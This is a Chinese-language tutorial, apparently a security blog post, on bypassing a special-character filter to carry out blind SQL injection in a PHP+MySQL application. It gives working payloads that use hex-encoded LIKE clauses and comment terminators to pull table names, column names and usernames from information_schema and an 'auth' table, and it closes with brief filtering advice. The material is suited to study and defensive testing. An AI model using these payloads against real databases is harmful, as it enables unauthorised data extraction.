常規特殊字符被過濾的一種繞過技巧
今天來分享一個繞過過濾比如 ' " ( ) % 等字符的場景,測試環境為 PHP+Mysql
假設場景
php 代碼通過 HTTP GET 參數 param1 接收用戶輸入的內容,然后經過自定義的過濾函數 input-filter 過濾可能導致 SQL 注入的特殊字符。
在 SQL 查詢中,用戶數據($user_input)作為列名插入到查詢語句中,比如:
$query = mysqli_query($connection,"SELECT $user_input,time FROM stats WHERE depth = '$depth' ORDER BY times ASC");
應用程序代碼執行 SQL 語句后,不會在頁面上輸出任何內容,那么就無法使用聯合查詢的技術來獲取數據,而代碼中也未使用 mysqli_error() 函數來打印錯誤信息,那么也無法使用報錯注入的方式來回顯數據。
唯一可以利用的技術就只有盲注了,而當前環境的代碼中對常見的特殊字符進行了過濾,過濾列表如下:
" < > = ' ( ) & @ % # ;
當我們使用機遇布爾盲注的有效載荷時,比如:
from dual where true and 1< ascii ( substring ( database (),1,1 ) )
經過函數過濾后,變成了:
from dual where true and 1 ascii substring database ,1,1
<、(、) 被過濾了
假如我們使用 URL 編碼特殊字符,但是,URL 編碼中都包含特殊字符 %,也是被過濾了的,比如:
from dual where true and 1 %3C ascii %28 substring %28 database %28 %29 %2C 1 %2C 1 %29%29
過濾后變成了:
from dual where true and 1 3C ascii 28 substring 28 database 28 29 2C 1 2C 1 2929
嘗試繞過
基礎
在這種情況下,我們利用漏洞的方式是盲注,為了避免過濾特殊字符,結合 where 條件,使用帶有十六進制表示的 like子句。
like 子句不僅接受單引號中的輸入內容,還支持十六進制的內容:
Text Hex encoded value%user% 257573657225
比如:
select column_name from table_name where value_in_column like '%user%'
使用十六進制編碼的語句:
select column_name from table_name where value_in_column like 0x257573657225
測試
提取表名
假如我們有個表名為 auth,使用 like 子句來查找該表名的第一個字符 a 的有效載荷:
select table_name from information_schema.tables where table_name like 'a%' limit 0,1
使用十六進制編碼的 payload:
select table_name from information_schema.tables where table_name like 0x6125 limit 0,1
在上面的案例中,用戶輸入的 payload 為:
table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- -
后端執行的完整 SQL 語句為:
select table_name from information_schema.tables where table_name like 0x6125 limit 0,1-- - ,time FROM stats WHERE AND depth = '$depth' ORDER BY times ASC

提取列名
假設表 auth 中有一個列名為 username,通常情況下的查詢語句為:
select column_name from information_schema.columns where table_name like 'auth' and column_name like 'u%' limit 0,1
采用十六進制編碼后的語句為:
select column_name from information_schema.columns where table_name like 0x61757468 and column_name like 0x7525 limit 0,1

提取數據
到目前來說已知表名 auth,列名 username,接下來利用 like 查詢首字母為 a 的數據:
select username from auth where username like 'a%' limit 0,1
同樣使用十六進制編碼:
select username from auth where username like 0x6125 limit 0,1

總結
雖然常規特殊字符被過濾了,利用起來比較復雜,但還是有一條路可以走,對于這部分繞過方式的防御,可以在過濾的關鍵詞中再增加一些,比如 select、like 等查詢關鍵詞,還有常見的注釋符,比如 -、#、/* 等。